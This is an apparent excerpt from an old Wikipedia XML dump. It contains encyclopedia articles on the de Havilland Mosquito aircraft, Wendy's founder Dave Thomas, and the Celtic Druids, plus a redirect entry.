The method of construction, as well as the materials used, was also unorthodox for the time.  The body was made as two moulded pieces, by pressing the wood in a concrete mould. These halves were then glued together to form the basic body before the wings were attached. Rivets were then used to give extra strength. The glue was changed when the Mosquito was introduced to fighting in semi-tropical and tropical climates, after some unexplained crashes led to the suspicion that the glue was unable to withstand the climate. de Havilland also developed a technique to accelerate the glue drying by heating it using radio waves.

The specialized veneer lumber used in the construction of the Mosquito was made by Roddis Manufacturing in Marshfield, Wisconsin, USA.  Hamilton Roddis had teams of dexterous young women ironing the (unusually thin) strong wood veneer product prior to shipping to the UK.

== History ==
De Havilland conceived the idea of a wooden aircraft to take advantage of the under-used resources and skills of the furniture industry at a time of great pressure on the conventional aircraft industry, and shortages of steel and aluminium. The Air Ministry was not interested; de Havilland designed the Mosquito on a speculative basis, only interesting the Ministry when they saw the performance of the prototype.

The original Mosquito design dated from [[1938 in aviation|1938]] but it was not until March [[1940 in aviation|1940]] that there was sufficient interest in the aircraft for construction to commence. Three prototypes were built, each with a different configuration.  The first to fly was the bomber prototype ''W4050'' on [[November 25]], 1940 followed by the night fighter model on [[May 15]], [[1941 in aviation|1941]] and the photo-reconnaissance model on [[June 10]], 1941.  

The outstanding feature of the Mosquito was its speed, faster than any other aircraft of the time&amp;mdash;so much so that defensive armament was rarely fitted as the Mosquito could outrun any pursuer.

The photo-reconnaissance model became the basis for the '''PR Mk.I''' Mosquito while the bomber model became the '''B Mk.IV''', of which 273 were built.  The first operational [[sortie]] by a Mosquito was made by a PR Mk.I on [[September 20]], 1941.  The Mk.IV entered service in May [[1942 in aviation|1942]] with [[No. 105 Squadron RAF|No. 105 Squadron]]. The '''B Mk.IV''' could accommodate 4× 500 lb bombs in the bomb bay, and either two drop tanks or two additional 500 lb bombs on wing hardpoints.

[[Image:4000LB High Capacity Bomb With Mosquito.jpg|thumb|250px|right|A Mosquito BXVI prior to being loaded with a 4000lb ''[[Blockbuster bomb|Blockbuster]]'' or &quot;Cookie&quot;]]

The '''Mk.IX''' was a high altitude bomber variant but the most numerous bomber version was the '''Mk.XVI''' of which about 1,200 were built.  The Mosquito bombers could carry a 4,000 lb (1,800 kg) &quot;[[Blockbuster bomb|block-buster]]&quot; bomb in their internal bomb bay. This required a bulged bomb bay which could alternatively accommodate up to 6× 500 lb bombs on a Avro carrier. Mosquitos were widely used by the [[Pathfinder (RAF)|RAF Pathfinder Force]] which marked targets for night-time [[strategic bombing]].  Despite an initially high loss rate the Mosquito ended the war with the lowest loss rate of any aircraft in [[RAF Bomber Command]] service. The RAF found that when finally applied to bombing, it had proved 4.5 times cheaper than the Lancaster in terms of useful damage done, and they have never specified a defensive gun on a bomber since.  Special Luftwaffe units formed to fight the Mosquito attacks were rather unsuccessful, and the Luftwaffe considered the Mosquito a superior implementation of their own &quot;[[Schnellbomber]]&quot; concept.

The first production [[night fighter]] Mosquitos were designated the '''NF Mk.II''' and 466 were built with the first entering service with [[No. 157 Squadron RAF|No. 157 Squadron]] in January 1942, replacing the Douglas [[A-20 Havoc]].  They were armed with four 20 mm Hispano [[cannon]]s mounted in the lower front fuselage and four [[.303]] in (7.7 mm) Browning [[machine gun]]s in the nose as well as an AI Mk.IV [[radar]].  The success of these night fighters, and the need to conceal the existence of radar, resulted in a degree of notoriety for pilot [[John Cunningham (Royal Air Force)|John &quot;Cat's Eyes&quot; Cunningham]]; he and other pilots were said untruly to have phenomenally acute night vision due to eating carrots.

Ninety-seven NF Mk.IIs were upgraded with a centrimetric AI Mk.VIII radar and these were designated the '''NF Mk.XII'''.  The '''NF Mk.XIII''', of which 270 were built, was the production equivalent of the Mk.XII conversions.  They also dispensed with the machine guns in the nose.  The other night fighter variants were the '''Mk.XV''', '''Mk.XVII''' (converted Mk.IIs),  '''Mk.XIX''' and '''Mk.30'''.  The latter three marks mounted the [[United States|US]]-built AI Mk.X radar.  Post-war, two more night fighter versions were developed, the '''NF Mk.36''', powered by the Merlin 113/114 engine, and the '''NF Mk.38''' using the British-built AI Mk.IX radar. To warn German night fighters that they were being tracked by these radars, the Germans introduced [[Naxos radar detector|Naxos ZR]] radar detectors.

Mosquito night intruders were also fitted with a device called &quot;[[Serrate radar detector|Serrate]]&quot; to allow them to track down German night fighters from their [[Lichtenstein radar|Lichtenstein]] B/C and SN2 radar emissions, as well as a device named &quot;Perfectos&quot; that tracked German IFF.

== Variants ==
The most numerous Mosquito variant was the '''FB Mk.VI''' fighter-bomber of which 2,718 were built.  Originally converted from a Mk.II, the Mk.VI first flew in February [[1943 in aviation|1943]].  Designed for a fighter-bomber role, the Mk.VI could carry two 250 lb (110 kg) or 500 lb (230 kg) bombs in the internal bomb bay as well as two more bombs under the wings.  From early [[1944 in aviation|1944]], [[Coastal Command]] operated Mk.VIs armed with eight 60 lb (27 kg) [[rocket]]s to carry out anti-shipping strikes.

[[Image:De Havilland Mosquito - Australian war memorial.jpg|thumb|350px|Reconstructed model at the Australian War Memorial]]

Other fighter-bomber variants were the '''FB Mk.XVIII''' (Tsetse) of which 27 were made by converting Mk.VIs.  These were fitted with a Molins 57 mm cannon, a [[QF 6 pdr|6 pounder]] (2.7 kg), 7 cwt (356 kg) anti-tank gun modified with an auto-loader to allow both semi- or fully-automatic fire, in the nose, along with two .303 in (7.7 mm) sighting machine guns.  The '''FB Mk.26''' and '''FB Mk.40''', based on the Mk.VI, were built in [[Canada]] and [[Australia]] and were powered by [[Packard]]-built Merlin engines.

The Mosquito was also built as a [[trainer]]; 348 of the '''T Mk.III''' were built for the RAF and [[Fleet Air Arm]].  [[de Havilland Australia]] built 22 '''T Mk.43''' trainers, similar to the Mk.III.

de Havilland produced a [[aircraft carrier|carrier-borne]] variant to meet the [[Royal Navy]]'s specification N.15/44.  This resulted in 50 of the '''TR Mk.33''' which featured folding wings, a nose thimble radome and fuselage hardpoints for mounting [[torpedo]]es.  The navy also operated the '''TT Mk.39''' for target towing.  The RAF's target tug version was the '''TT Mk.35''' which were in fact the last aircraft to remain in operational service, finally being retired in [[1956 in aviation|1956]].

== Numbers produced ==
Total Mosquito production was 7,781 of which 6,710 were built during the war.  [[de Havilland]] accounted for 5,007 aircraft built in three factories in the United Kingdom.  Mosquitos were also built by [[Airspeed Ltd]], [[Percival Aircraft Company]] and [[Standard Motors]].  The Canadian and Australian arms of de Havilland produced 1,134 and 212 aircraft respectively. Mosquito movement from Canada to the war front was unreliable, as a small fraction of the aircraft would mysteriously explode in transit over the mid-Atlantic. The cause for this auto-explosion was never found.

The last Mosquito was completed in November [[1950 in aviation|1950]]; a NF Mk.38 built at [[Chester]]. 

The [[Canadian Historical Aircraft Association]] based out of [[Windsor, Ontario]] is building a Mosquito from scratch.  Glyn Powell located in [[Papakura]], [[New Zealand]] has built a mould for the wooden fuselage and CHAA bought the very first one ever sold.  They have two unused engines still in the crates and some parts retrieved from a crash up in the arctic.

[[Image:DE HAVILLAND 1943 Advertisement s.jpg|thumb|left|A 1943 advertisement for DE HAVILLAND taken from 'Flight &amp; Aircraft Engineer' magazine]]

== Operations ==
One of the most daring uses of the Mosquito was ''[[Operation Jericho]]'', the mission to destroy the walls and guard's quarters of [[Amiens]] prison to allow the escape of members of the [[French resistance]].  It also raided a Nazi rally in Berlin, giving the lie to the speaker's (Reichmarschall Herman Goering's) claim that such a mission was impossible.  Another spectacular raid involved a very low altitude bombing raid on the Gestapo headquarters in Copenhagen, Denmark, destroying their records and freeing a large number of prisoners.  

Mosquitos took part in many bombing missions as [[Pathfinder (RAF)|pathfinders]], marking targets very accurately with flares for attack by massive formations of less accurate heavy bombers.

A Mosquito also holds the record for the most missions flown by an Allied bomber in World War II.  '''F for Freddie''', first with 109 and subsequently 105 Squadron, flew 213 sorties during the war, only to crash on May 10, 1945, two days after VE Day at the Calgary airport, likely due to pilot error.

Mosquitos flying with the [[Israeli Air Force]] saw action during the [[Suez Crisis]] of [[1956]].

== Notable pilots ==
* [[Sidney Cotton]] &amp;ndash; Australian spy and photographic reconnaissance pioneer
* [[John Cunningham (Royal Air Force)|John Cunningham]] &amp;ndash; British night-fighter pilot
* [[Guy Gibson]] &amp;ndash; British [[No. 617 Squadron RAF|617 Sqn]] commander; killed when his Mosquito crashed in the Netherlands during a mission. (It has been speculated that this was the result of overstressing of the spar, during a dive-bombing run, to mark a target.)
* [[Keith Miller]] &amp;ndash; Australian international [[cricket]]er, regarded by many as the greatest Australian [[all-rounder]]. In later life when asked how he dealt with pressure on the cricket field, Miller replied: &quot;Pressure is [having] a [[Messerschmitt 109|Messerschmitt]] up your arse, playing cricket is not.&quot;

== Preservation ==
There are believed to be around 30 preserved examples at various collections including the [[Royal Air Force Museum]] at Hendon. The wooden construction makes restoration difficult.

[[As of 2004]] the original ''W4050'' aircraft was undergoing complete restoration in the [[de Havilland Aircraft Heritage Centre]] in [[Hertfordshire]], [[United Kingdom|UK]]. It was designed to carry four 250 lb bombs but tests with 500 lb bombs with shortened fins indicated that four 500 lb bombs could be carried.

A beautifully restored example is currently on display at the [[National Museum of the United States Air Force]]. The aircraft is a British-built B. Mk. 35 manufactured in 1946 and was later converted for towing targets. It is similar to the P.R. Mk. XVIs used by the AAF. The aircraft was flown to the Museum in February 1985, suffering several break downs along the way and taking many months to arrive. This Mosquito has been restored to a Mk. XVI configuration and painted to represent a weather reconnaissance aircraft of the 653rd Bomb Squadron, 25th Bomb Group, based in England in 1944-45. It is currently displayed in the Museum's WWII gallery.

Another Mosquito is currently under restoration in a hangar at the RAAF Museum at Point Cook, Australia.

The last Mosquito known to be airworthy (designated ''RR299''), a T Mk.III built sometime between October 1944 and July 1945, crashed on [[21 July]], [[1996]] with the loss of both crew after stalling during a banked turn at an airshow in Barton, England.  Several potential restorations to airworthy status exist, although the wooden construction makes this difficult.  A replica is under construction in New Zealand.

==Related content==
{{Template:RAF WWII Strategic Bombing}}

{{aircontent|

|sequence=
[[de Havilland Don | DH.93]] - 
[[de Havilland Moth Minor | DH.94]] - 
[[de Havilland Flamingo | DH.95]] - 
'''DH.98''' - 
'''DH.99''' - 
[[de Havilland Vampire | DH.100]] - 
'''DH.101''' - 
'''DH.102''' - 
[[de Havilland Hornet | DH.103]] - 
[[de Havilland Dove | DH.104]] - 
[[de Havilland Comet | DH.106]] -
[[de Havilland Sea Vixen | DH.110]]

|related=
* [[de Havilland Hornet]]

|similar aircraft=
* [[Bristol Beaufighter]]
* [[Westland Whirlwind (fixed wing)|Westland Whirlwind]]
* [[Junkers Ju 88]]

|lists=
* [[List of aircraft of the RAF]]
* [[List of bomber aircraft]]
|see also=

}}

[[Category:British bomber aircraft 1940-1949]]

[[de:De Havilland Mosquito]]
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    <title>Den Bosch</title>
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        <username>Jeronimo</username>
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      <timestamp>2005-06-28T04:28:53Z</timestamp>
      <contributor>
        <username>CesarB</username>
        <id>7410</id>
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      <comment>fix dbl redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Devanāgarī]]{{R from misspelling}}</text>
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    <title>Devanaagarii</title>
    <id>9098</id>
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      <id>17734183</id>
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    <title>Dave Thomas</title>
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      <comment>rv v</comment>
      <text xml:space="preserve">:''This article is about the founder of [[Wendy's]]. See the [[David Thomas]] disambiguation page for other people with this name.''

[[Image:DaveOffice.jpg|thumb|250px|Dave Thomas]]

'''Rex David &quot;Dave&quot; Thomas''' ([[July 2]], [[1932]] &amp;ndash; [[January 8]], [[2002]]) was an American [[businessman]] and [[philanthropist]].  Thomas was the founder and [[chief executive officer]] of [[Wendy's|Wendy's Old Fashioned Hamburgers]], a [[fast food restaurant]] chain specializing in [[hamburger]]s. He is also known for personally appearing in over 800 commercial advertisements for the chain from 1989 to 2002 &amp;ndash; more than any other person in television history. 

Thomas was born in [[Atlantic City, New Jersey|Atlantic City]], [[New Jersey]].  He never knew or met either of his birth parents.  He was adopted by a [[Lebanese]] (this is disputed) family in Michigan as an infant; he would become a well-known advocate for [[adoption]], founding the [[Dave Thomas Foundation for Adoption]] in 1992. His adoptive mother's name was Minnie Sinclair. She called herself his &quot;adoptive grandmother&quot; because she was an elderly woman by the time of his adoption.

He dropped out of high school at age 15. He moved in with the family that owned the Hobby House Restaurant and focused on ways to promote the restaurant.

During the [[Korean War]], he volunteered for the army to avoid the draft and to have some choice in assignments. Having experience in overseeing the feeding of others, Thomas chose Cook and Bakers School at [[Fort Benning, Georgia]]. He was sent overseas to Germany as a mess sergeant and was responsible for feeding 2000 soldiers daily. He later attributed his success in fast food to this experience in mass feedings. Thomas was discharged in 1953 as a [[staff sergeant]].

He was then offered a chance to turn around a failing [[KFC|Kentucky Fried Chicken]] restaurant. Working with KFC founder [[Colonel Sanders|Col. Harland Sanders]], Dave turned four ailing stores into million-dollar successes. He later sold his KFC franchises and opened his first Wendy's in [[Columbus, Ohio|Columbus]], [[Ohio]], in 1969.

Thomas, realizing that his success as a high school dropout might convince other teenagers to leave school (something he later admitted was a mistake), studied for and finally earned his [[GED]] in 1993.

Thomas died in 2002 at his home in [[Fort Lauderdale, Florida|Fort Lauderdale]], [[Florida]], after a decade-long struggle with [[liver cancer]]. He was buried in Union Cemetery in Columbus, OH.  At the time of his death, there were over 6,000 Wendy's restaurants operating in [[North America]].

==References==
* ''wendys.com'' ([[7 January]] [[2003]]). [http://www.wendys.com/dave/davethomas_biography.pdf &quot;Dave Thomas Biography&quot;]. Retrieved [[1 June]] [[2005]]

==External links==
* [http://www.wendys.com/dave/ Wendy's tribute to Dave Thomas]

[[Category:Fast-food chain founders|Thomas, Dave]]
[[Category:Entrepreneurs|Thomas, Dave]]
[[Category:Autodidacts|Thomas, Dave]]
[[Category:Presidential Medal of Freedom recipients|Thomas, Dave]]
[[Category:Freemasons|Thomas, Dave]]
[[Category:People from New Jersey|Thomas, Dave]]
[[Category:People from Indiana|Thomas, Dave]]
[[Category:High school dropouts|Thomas, Dave]]
[[Category:Adoptees|Thomas, Dave]]
[[Category:1932 births|Thomas, Dave]]
[[Category:2002 deaths|Thomas, Dave]]
[[Category:Sigma Phi Epsilon brothers|Thomas, Dave]]</text>
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  <page>
    <title>Druid</title>
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        <username>Ogambear</username>
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      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">{{otheruses}}
In [[Celtic polytheism]] the word '''Druid''' denotes the priestly class in ancient [[Celts|Celtic]] societies, which existed through much of [[Western Europe]] north of the Alps and in the [[British Isles]]. Druidic practices were part of the culture of all the tribal peoples called &quot;Keltoi&quot; and &quot;[[Galatia|Galatai]]&quot; by Greeks and &quot;Celtae&quot; and &quot;[[Gauls|Galli]]&quot; by Romans, which evolved into modern English &quot;Celtic&quot; and &quot;[[Gaulish language|Gaulish]]&quot;.

Modern attempts at reconstructing or reinventing Druidism are called [[Neo-druidism]]. 

==Etymology==

The word ''Druid'' (reconstructed as ''*druwis'' or ''*druwids'' in Old [[Celtic languages|Celtic]]) is probably derived from [[Indo-European]] roots meaning &quot;oak/strong&quot; and &quot;knowledge,&quot; although some believe that it may be [[pre-Indo-European]]. By [[Ancient Greek]] writers, the earliest to discuss the Celts, the word is spelled ''&amp;#916;&amp;#961;&amp;#965;&amp;#943;&amp;#948;&amp;#951;&amp;#962;'' (''Druides''), and was associated with  ''&amp;#948;&amp;#961;&amp;#965;&amp;#962;'' (''drus'' &quot;oak tree&quot;).  It appears in [[Old Irish]] as ''druí'', giving ''draoi'' (magician) in [[Irish language|Modern Irish]] and ''druidh'' (enchanter) and ''draoidh'' (magician) in [[Scottish Gaelic]]. The Old Irish ''druídecht'' gives Modern Irish ''draoiocht'' (magic). [[Welsh language|Welsh]] ''dryw'' (seer) may be [[cognate]].

==History==

From what little we know of late Druidic practice, it appears deeply traditional and conservative, in the sense that Druids were conserving repositories of culture and lore. It is impossible now to judge whether this continuity had deep historical roots and originated in the social transformations of the late [[La Tene culture|La Tène culture]], or whether there had been a discontinuity and a Druidic religious innovation.  

Our historical knowledge of Druids is very limited. Druidic lore consisted of a large number of verses learned by heart and it has been claimed that twenty years were required to complete the course of study. There may have been a Druidic teaching center on [[Anglesey]] (''Ynys Môn'') centred on magical lakes, but what was taught there, or at other centers, is conjecture. Of the Druids' oral literature (sacred songs, formulas for prayers and incantations, rules of divination and magic) not one verse has survived, even in translation, nor is there even a legend that can be called purely Druidic, without a Roman and/or Christian overlay or interpretation.

===Roman sources===
[[Image:Julius caesar.jpg|thumb|150px|Julius Caesar, author of the ''Gallic Wars'']]

[[Julius Caesar|Caesar]]'s ''[[Commentarii de Bello Gallico]]'' gives the fullest account of the Druids. Caesar notes that all men of any rank and dignity in Gaul were included either among the Druids or among the nobles, indicating that they formed two classes. The Druids constituted the learned priestly class, and as guardians of the unwritten ancient customary law they had the power of executing judgments, among which exclusion from society was the most dreaded. Druids were not a hereditary caste, though they enjoyed exemption from military service as well as from payment of taxes. The course of training to which a novice had to submit was protracted. 

All instruction was communicated orally, but for ordinary purposes, Caesar reports that the Gauls had a written language in which they used Greek characters. In this he probably draws on earler writers; by the time of Caesar, [[Gaulish language|Gaulish]] had moved from the Greek script to the Latin script.

As a result of this prohibition — and of the decline of Gaulish in favour of Latin — no druidic documents, if there ever were any, have survived. &quot;The principal point of their doctrine&quot;, says Caesar, &quot;is that the soul does not die and that after death it passes from one body into another&quot; (see [[metempsychosis]]). This observation led several ancient writers to the unlikely conclusion that the Druids may have been influenced by the teachings of the Greek philosopher [[Pythagoras]]. Caesar also notes the druidic sense of the guardian spirit of the tribe, whom he translated as ''Dispater,'' with a general sense of ''Father [[Hades]].'' However, linguistically ''Dis Pater'' is related to [[Jupiter]] (Jovis Pater), from [[Indo-European]] word [[Dyeus]].

Writers such as [[Diodorus]] and [[Strabo]], with less firsthand experience than Caesar, were of the opinion that the Celtic priestly order or class  included Druids, [[Bard]]s and [[Vates]] (soothsayers).

[[Pomponius Mela]] is the first author who says that the Druids' instruction was secret, and was carried on in caves and forests. Certain groves within forests were sacred, and the Romans and Christians alike cut them down and burned the wood. [[Human sacrifice]] has sometimes been attributed to Druidism. While this may be Roman propaganda, human sacrifice was an old European inheritance and the Gauls may have offered human sacrifices, whether of criminals or, to judge from Roman reports, of war captives. 

It was also claimed by Roman writers that a general assembly of the order was held once every year within the territories of the [[Carnutes]] in Gaul. 

Cicero remarks on the existence among the Gauls of augurs or soothsayers, known by the name of Druids; he had made the acquaintance of one Divitiacus, an Aeduan. Diodorus asserts, on unnamed sources, that a sacrifice acceptable to the Celtic gods had to be attended by a Druid, for they were the intermediaries. He also claims that before a battle they often threw themselves between two armies to bring about peace.   

Druids were seen as essentially non-Roman: a prescript of [[Caesar Augustus|Augustus]] forbade Roman citizens to practise Druidical rites. In [[Strabo]] we find the Druids still acting as arbiters in public and private matters, but they no longer dealt with cases of murder. Under [[Tiberius]] the Druids were suppressed by a decree of the Senate, but this had to be renewed by [[Claudius]] in 54 CE. In Pliny their activity is limited to the practice of medicine and sorcery. According to him, the Druids held the mistletoe in the highest veneration and groves of oak were their chosen retreats. In what is probably a fanciful extension of this story, Pliny claims that the mistletoe was cut with a golden knife by a priest clad in a white robe, two white bulls being sacrificed on the spot. 

[[Tacitus]], in describing the attack made on the island of Mona ([[Anglesey]] or ''Ynys Môn'' in Welsh) by the Romans under Suetonius Paulinus, represents the legionaries as being awestruck on landing by the appearance of a band of Druids, who, with hands uplifted to the sky, poured forth terrible imprecations on the heads of the invaders. The courage of the Romans, however, soon overcame such fears, according to the Roman historian; the Britons were put to flight, and the sacred groves of Mona were cut down.

After the 1st century CE the continental Druids disappeared entirely and were referred to only on very rare occasions. Ausonius, for one instance, apostrophizes the rhetorician Attius Patera as sprung from a race of Druids.

===Early Druids in Britain and Ireland===

The story of [[Vortigern]] as reported by [[Nennius]] provides one of the very few glimpses of Druidic survival in Britain after the Roman conquest: unfortunately, Nennius is noted for mixing fact and legend in such a way that it is now impossible to know the truth behind his text. For what it is worth, he asserts that, after being excommunicated by [[Germain of Auxerre|Germanus]], the British leader Vortigern invited twelve Druids to assist him. 

In Irish literature the Druids are frequently (and reliably) mentioned, and their functions in the island seem to correspond fairly well to those they performed in Gaul (the Modern [[Irish language|Irish]] word for &quot;magic&quot;, ''draíocht'', derives from [[Old Irish]] ''druídecht''). Even in very early times, however, the [[bards]] usurped many of the duties of the Druids  and finally supplanted them with the spread of Christianity. 

The most important Irish documents are contained in [[manuscripts]] of the [[12th century]], but many of the texts themselves go back as far as the [[8th century|8th]]. In these stories Druids usually act as advisers to kings. Once again legendary elements crept in: they were said to have the ability to foretell the future ([[Bec mac Dé]], for example, predicted the death of [[Diarmaid mac Cearbhaill]] more accurately than three Christian saints) and there is little reference to their religious function. They do not appear to form any corporation, nor do they seem to be exempt from military service.

In the [[Ulster Cycle]], [[Cathbad]], chief Druid at the court of [[Conchobar mac Nessa|Conchobar]], king of [[Ulaid|Ulster]], is accompanied by a number of youths (100 according to the oldest version) who are desirous of learning his art. Cathbad is present at the birth of the famous tragic heroine [[Deirdre]], and prophesies what sort of a woman she will be, and the strife that will accompany her, although Conchobar ignores him. The following description of the band of Cathbad's Druids occurs in the epic tale, the ''[[Táin Bó Cuailnge|Táin bó Cuailnge]]'': The attendant raises his eyes towards heaven and observes the clouds and answers the band around him. They all raise their eyes towards heaven, observe the clouds, and hurl spells against the elements, so that they arouse strife amongst them and clouds of fire are driven towards the camp of the men of Ireland. We are further told that at the court of Conchobar no one had the right to speak before the Druids had spoken.

Before setting out on the great expedition against Ulster in ''Táin Bó Cuailnge'', [[Medb]], queen of [[Connacht]], consults her Druids regarding the outcome of the war. They hold up the march by two weeks, waiting for an auspicious omen. Druids also have magical skills: when the hero [[Cúchulainn]] returned from the land of the fairies after having been enticed thither by a fairy woman named [[Fand]], whom he is now unable to forget, he is given a potion by some Druids, which banishes all memory of his recent adventures and which also rids his wife [[Emer]] of the pangs of jealousy. 

[[Image:Collinaditara.jpg|thumb|150px|left|Hill of Tara in County Meath, Ireland, legendary seat of the High Kings.]]
More remarkable still is the story of [[Étain]]. This lady, now the wife of [[Eochaid Airem]], [[High King of Ireland]], was in a former existence the beloved of the god [[Midir]], who again seeks her love and carries her off. The king has recourse to his Druid Dalgn, who requires a whole year to discover the haunt of the couple. This he accomplished by means of four wands of yew inscribed with [[ogham]] characters. 

In other texts the Druids are able to produce insanity. [[Mug Ruith]], a legendary druid of [[Munster]], wore a hornless bull's hide and an elaborate feathered headdress and had the ability to fly and conjure storms.

==Social and religious influence==	 
The Druids' influence was as much social as religious. They not only performed roles similar to modern [[priest]]s, but were often the [[philosopher]]s, [[scientist]]s, lore-masters, [[teacher]]s, [[judge]]s and counsellors to the [[monarch|king]]s. The Druids linked the Celtic peoples with their numerous gods, the lunar calendar and the sacred natural order. They were suppressed in Gaul and Britain after the [[Ancient Rome|Roman]] conquests, but retained their influence in Ireland until the coming of Christianity. The Druids' roles were then assumed by the [[bishop]] and the [[abbot]], who were usually not the same individual, however, and might find themselves in direct competition.	 

Nevertheless, much traditional rural religious practice can still be discerned from Christian interpretations and survives in practices like [[Halloween]] observances, [[corn dollies]] and other harvest rituals, the myths of [[Puck (mythology)|Puck]], [[woodwose]]s, &quot;lucky&quot; and &quot;unlucky&quot; plants and animals and the like. Orally-transmitted material may have exaggerated deep origins in antiquity, however, and is constantly subject to influence from surrounding culture.

==Druidic sites==

Sites associated with Druidry include:

*The Isle of [[Ynys Môn]]
*The [[Isle of Man]]
*Wistman's Wood on [[Dartmoor]]
*[[Newland's Corner]] in Surrey
*[[Iona]]

The association of Druids with [[Stonehenge]] is entirely false. It was invented in the sixteenth century in attempts to explain the mysteries of Stonehenge, a prehistoric monument that was abandoned long before any Druids came to Britain. There is no evidence whatever that it was ever used by authentic Druids in ancient times. Nevertheless, it has become an important site for modern movements calling themselves druidic.

==In Christian literature==

In the lives of saints and martyrs, the Druids are represented as magicians and diviners opposing the Christian missionaries. In [[Adamnan]]'s ''vita'' of Columba, two of them act as tutors to the daughters of [[Lóegaire mac Néill]], the [[High King of Ireland|High King]], at the coming of [[Patrick|Saint Patrick]]. They are represented as endeavouring to prevent the progress of Patrick and Saint [[Columba]] by raising clouds and mist. Before the battle of Culdremne (561) a Druid made an ''airbe drtiad'' (fence of protection?) round one of the armies, but what is precisely meant by the phrase is unclear. The Irish Druids seem to have had a peculiar tonsure. The word ''druí'' is always used to render the [[Latin]] ''magus'', and in one passage St Columba speaks of Christ as his Druid.

Once the public ordination of Christian bishops in strongly Druidic territories was possible, it was essential for a 4th century bishop to demonstrate comparable powers. [[Sulpicius Severus]]' ''Vita'' of [[Martin of Tours]] relates how Martin encountered a peasant funeral, carrying the body in a winding sheet, which Martin mistook for some Druidic rites of sacrifice, &quot;because it was the custom of the Gallic rustics in their wretched folly to carry about through the fields the images of demons veiled with a white covering.&quot; So Martin halted the procession by raising his pectoral cross: &quot;Upon this, the miserable creatures might have been seen at first to become stiff like rocks. Next, as they endeavored, with every possible effort, to move forward, but were not able to take a step farther, they began to whirl themselves about in the most ridiculous fashion, until, not able any longer to sustain the weight, they set down the dead body.&quot; Then discovering his error, Martin raised his hand again to let them proceed: &quot;Thus,&quot; the hagiographer points out,&quot; he both compelled them to stand when he pleased, and permitted them to depart when he thought good.&quot; [http://www.users.csbsju.edu/~eknuth/npnf2-11/sulpitiu/lifeofst.html#tp]  

''This account partly depends on information from the ''Encyclopaedia Britannica, 1911'' and the ''Catholic Encyclopedia, 1908''.''

==Late Druidic survivals in Flanders==

The people of [[Flanders]] and the [[Low Countries]] remained pagan as late as the 7th century CE, when [[Saint Eligius]] travelled from Antwerp to [[Frisia]], preaching and converting them to [[Christianity]]. One of the best glimpses of late Druidic practices comes from the ''Vita'' of Eligius written by [[saint Ouen (catholic saint)|saint Ouen]], his contemporary and companion. Ouen drew together the familiar admonitions of Eligius to the pagans in Flanders. &quot;It does not represent anything he said in a particular day in order&quot; Ouen cautioned, &quot;but is a digest of the precepts which he taught the people at all times.&quot;

Eligius in his sermons denounced &quot;sacrilegious pagan customs.&quot; The following excerpted quotes from Ouen's ''Vita'' of Eligius are instructive, for the negative description they offer of some late druidic practices in Flanders:
  
:&quot;For no cause or infirmity should you ''consult magicians, diviners, sorcerers or incantators'', or presume to question them.&quot; 

:&quot;Do not observe ''[[augur]]ies'' or ''violent sneezing'' or pay attention to any little ''birds singing'' along the road. If you are distracted on the road or at any other work, make the sign of the cross and say your Sunday prayers with faith and devotion and nothing inimical can hurt you.&quot; 

:&quot;No Christian should be concerned about which day he leaves home or which day he returns, because God has made all days. No influence attaches to the ''first work of the day or the [phase of the] moon''; nothing is ominous or ridiculous about the ''[[Calends]] of January'' [what we would call [[New Year's Day]] ].

:&quot;[Do not] make ''vetulas,''*, ''[[Deer (mythology)|little deer]] or iotticos'' or ''set tables [for the house-elf, compare [[Puck (mythology)|Puck]] ] at night'' or ''exchange New Years' gifts'' or ''supply superfluous drinks'' [a [[Yule]] custom].&quot;

:*''Vetula'', a little figure of the Old Woman. A Roman would have equated her with [[Hecate]], but precisely who the Old Woman was and what she meant in the pagan [[Low Countries]] cannot be determined. 

:&quot;No Christian gives credence to impurity or sits in incantation, because the work is diabolic. No Christian ''on the [[Midsummer|feast of Saint John]]''* or the solemnity of any other saint performs ''solestitia'' [summer solstice rites] or ''dancing or leaping or diabolical chants.''&quot;
 
:* The Christian [[summer solstice]] feast of Saint [[John the Baptist]] is still celebrated with [[bonfire]]s on June 24th, though the actual June Solstice occurs on June 21 (or 20th) in the Gregorian Calendar.

:&quot;No Christian should presume to invoke the name of a demon, not [[Neptune]] or ''[[Orcus (mythology)|Orcus]]*'' or [[Diana]] or [[Minerva]] or ''Geniscus'' or believe in these inept beings in any way. No one should observe Jove's day in idleness without holy festivities not in May or any other time, not days of ''[[larvae]]''** or mice or any day but Sunday. No Christian should make or render any devotion to the ''gods of the trivium, where three roads meet'' [cf. [[Hecate]]], to the ''fanes or the rocks, or springs or groves or corners.''&quot;

:* Orcus, a chthonic Etruscan/Roman god of the underworld, who enforced the sacredness of oaths and avenged the broken word. ([http://paganinstitute.org/p-hades_essay.html An essay on Hades/Orcus.])

:* ''Larvae'' (&quot;malignant spirits&quot;) in this Latin text more specifically refer to the ''Roman'' [[Feast of the Lemures]], propitiating the dead, rather than to the Celtic propitiation, which was at [[Samhain]].

:&quot;None should presume to hang any ''phylacteries''* from the neck of man nor beast, even if they are made by priests and it is said that they contain holy things and divine scripture, because there is no remedy of Christ in these things but only the devil's poison.&quot;

:* [[Gregory of Tours]] set great store by phylacteries.

:&quot;None should presume to make lustrations or incantations with herbs, or to ''pass cattle through a hollow tree'' or ditch because this is to consecrate them to the devil. No woman should presume to ''hang [[amber]] from her neck'' or call upon [[Minerva]] or other ill-starred beings in their weaving or dyeing but in all works give thanks only to Christ and confide in the power of his name with all your hearts. None should presume to ''shout when the moon is obscured,'' for by God's order eclipses happen at certain times. Nor should they fear the new moon or abandon work because of it. For God made the moon for this, to mark time and temper the darkness of night, not impede work nor make men mad as the foolish imagine, who believe lunatics are invaded by demons from the moon. None should ''call the sun or moon lord'' or swear by them because they are God's creatures and they serve the needs of men by God's order.&quot; 

:&quot;No one should ''tell fate or fortune or horoscopes'' by them as those do who believe that a person must be what he was born to be.&quot;   

:&quot;Above all, should any infirmity occur, do not seek ''incantators or diviners or sorcerers or magicians'', do not use diabolic phylacteries through ''springs and groves or crossroads''. But let the invalid confide solely in the mercy of God and take the body and blood of Christ with faith and devotion and ask the church faithfully for blessing and oil, with which he might anoint his body in the name of Christ and, according to the apostle, &quot;the prayer of faith will save the infirm and the Lord will relieve him.&quot;  

